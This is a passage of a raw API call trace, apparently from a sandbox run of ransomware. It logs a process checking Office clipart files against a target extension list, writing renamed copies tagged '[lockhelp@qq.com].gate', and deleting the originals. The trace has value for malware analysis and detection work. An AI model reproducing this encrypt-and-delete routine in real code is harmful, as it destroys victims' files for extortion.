(lpString1=".xlsx", lpString2="9.WMF") returned -1 [0315.161] lstrlenW (lpString=".ppt") returned 4 [0315.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0315.161] lstrlenW (lpString=".zip") returned 4 [0315.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.161] lstrlenW (lpString=".rar") returned 4 [0315.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.161] lstrlenW (lpString=".bz2") returned 4 [0315.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.161] lstrlenW (lpString=".7z") returned 3 [0315.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0315.161] lstrlenW (lpString=".dbf") returned 4 [0315.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0315.161] lstrlenW (lpString=".1cd") returned 4 [0315.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0315.161] lstrlenW (lpString=".jpg") returned 4 [0315.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.163] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=64767) returned 1 [0315.163] CloseHandle (hObject=0x468) returned 1 [0315.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 0x220 [0315.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0315.164] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.164] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0315.165] GetLastError () returned 0x0 [0315.165] ReadFile (in: hFile=0x468, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xfcff, lpOverlapped=0x0) returned 1 [0315.552] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xfd00, lpOverlapped=0x0) returned 1 [0315.553] ReadFile (in: hFile=0x468, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.553] WriteFile (in: hFile=0x404, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0315.553] SetEndOfFile (hFile=0x404) returned 1 [0315.561] CloseHandle (hObject=0x404) returned 1 [0315.562] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.562] SetEndOfFile (hFile=0x468) returned 1 [0315.570] CloseHandle (hObject=0x468) returned 1 [0315.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0315.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0315.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0315.609] lstrlenW (lpString=".doc") returned 4 [0315.609] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0315.609] lstrlenW (lpString=".docx") returned 5 [0315.610] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0315.610] lstrlenW (lpString=".pdf") returned 4 [0315.610] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0315.610] lstrlenW (lpString=".xls") returned 4 [0315.610] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0315.610] lstrlenW (lpString=".xlsx") returned 5 [0315.610] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0315.610] lstrlenW (lpString=".ppt") returned 4 [0315.610] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0315.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0315.610] lstrlenW (lpString=".zip") returned 4 [0315.610] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0315.610] lstrlenW (lpString=".rar") returned 4 [0315.610] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0315.610] lstrlenW (lpString=".bz2") returned 4 [0315.610] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0315.610] lstrlenW (lpString=".7z") returned 3 [0315.610] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0315.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0315.610] lstrlenW (lpString=".dbf") returned 4 [0315.610] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0315.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0315.610] lstrlenW (lpString=".1cd") returned 4 [0315.610] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0315.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0315.610] lstrlenW (lpString=".jpg") returned 4 [0315.610] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0315.611] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=24292) returned 1 [0315.611] CloseHandle (hObject=0x4f0) returned 1 [0315.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0315.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0315.612] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.612] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0315.613] GetLastError () returned 0x0 [0315.613] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0315.759] WriteFile (in: hFile=0x4f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0315.760] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.760] WriteFile (in: hFile=0x4f8, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0315.760] SetEndOfFile (hFile=0x4f8) returned 1 [0315.760] CloseHandle (hObject=0x4f8) returned 1 [0315.760] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.760] SetEndOfFile (hFile=0x4f0) returned 1 [0315.762] CloseHandle (hObject=0x4f0) returned 1 [0315.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0315.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0315.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0315.763] lstrlenW (lpString=".doc") returned 4 [0315.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.763] lstrlenW (lpString=".docx") returned 5 [0315.763] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0315.764] lstrlenW (lpString=".pdf") returned 4 [0315.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.764] lstrlenW (lpString=".xls") returned 4 [0315.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.764] lstrlenW (lpString=".xlsx") returned 5 [0315.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0315.764] lstrlenW (lpString=".ppt") returned 4 [0315.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0315.764] lstrlenW (lpString=".zip") returned 4 [0315.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.764] lstrlenW (lpString=".rar") returned 4 [0315.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.764] lstrlenW (lpString=".bz2") returned 4 [0315.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.764] lstrlenW (lpString=".7z") returned 3 [0315.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0315.764] lstrlenW (lpString=".dbf") returned 4 [0315.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0315.764] lstrlenW (lpString=".1cd") returned 4 [0315.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0315.764] lstrlenW (lpString=".jpg") returned 4 [0315.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.777] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=2488) returned 1 [0315.777] CloseHandle (hObject=0x404) returned 1 [0315.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0315.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0315.777] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.777] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.779] GetLastError () returned 0x0 [0315.779] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0315.925] WriteFile (in: hFile=0x448, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0315.926] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0315.926] WriteFile (in: hFile=0x448, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0315.926] SetEndOfFile (hFile=0x448) returned 1 [0315.932] CloseHandle (hObject=0x448) returned 1 [0315.936] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.936] SetEndOfFile (hFile=0x404) returned 1 [0315.955] CloseHandle (hObject=0x404) returned 1 [0315.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0315.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0315.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0315.956] lstrlenW (lpString=".doc") returned 4 [0315.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.956] lstrlenW (lpString=".docx") returned 5 [0315.956] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0315.956] lstrlenW (lpString=".pdf") returned 4 [0315.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.956] lstrlenW (lpString=".xls") returned 4 [0315.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.956] lstrlenW (lpString=".xlsx") returned 5 [0315.957] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0315.957] lstrlenW (lpString=".ppt") returned 4 [0315.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0315.957] lstrlenW (lpString=".zip") returned 4 [0315.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.957] lstrlenW (lpString=".rar") returned 4 [0315.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.957] lstrlenW (lpString=".bz2") returned 4 [0315.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.957] lstrlenW (lpString=".7z") returned 3 [0315.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0315.957] lstrlenW (lpString=".dbf") returned 4 [0315.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0315.957] lstrlenW (lpString=".1cd") returned 4 [0315.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0315.957] lstrlenW (lpString=".jpg") returned 4 [0315.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.958] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=1198) returned 1 [0315.958] CloseHandle (hObject=0x404) returned 1 [0315.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0315.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0315.958] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.958] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0315.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0315.959] GetLastError () returned 0x0 [0315.959] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x4ae, lpOverlapped=0x0) returned 1 [0316.084] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x4b0, lpOverlapped=0x0) returned 1 [0316.084] ReadFile (in: hFile=0x404, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.084] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0316.085] SetEndOfFile (hFile=0x4c4) returned 1 [0316.085] CloseHandle (hObject=0x4c4) returned 1 [0316.085] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.085] SetEndOfFile (hFile=0x404) returned 1 [0316.093] CloseHandle (hObject=0x404) returned 1 [0316.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0316.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0316.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0316.094] lstrlenW (lpString=".doc") returned 4 [0316.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0316.094] lstrlenW (lpString=".docx") returned 5 [0316.094] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0316.094] lstrlenW (lpString=".pdf") returned 4 [0316.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0316.094] lstrlenW (lpString=".xls") returned 4 [0316.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0316.094] lstrlenW (lpString=".xlsx") returned 5 [0316.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0316.095] lstrlenW (lpString=".ppt") returned 4 [0316.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0316.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0316.095] lstrlenW (lpString=".zip") returned 4 [0316.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0316.095] lstrlenW (lpString=".rar") returned 4 [0316.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0316.095] lstrlenW (lpString=".bz2") returned 4 [0316.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0316.095] lstrlenW (lpString=".7z") returned 3 [0316.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0316.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0316.095] lstrlenW (lpString=".dbf") returned 4 [0316.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0316.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0316.095] lstrlenW (lpString=".1cd") returned 4 [0316.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0316.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0316.095] lstrlenW (lpString=".jpg") returned 4 [0316.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0316.095] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9080) returned 1 [0316.096] CloseHandle (hObject=0x404) returned 1 [0316.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0316.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0316.096] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.096] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: 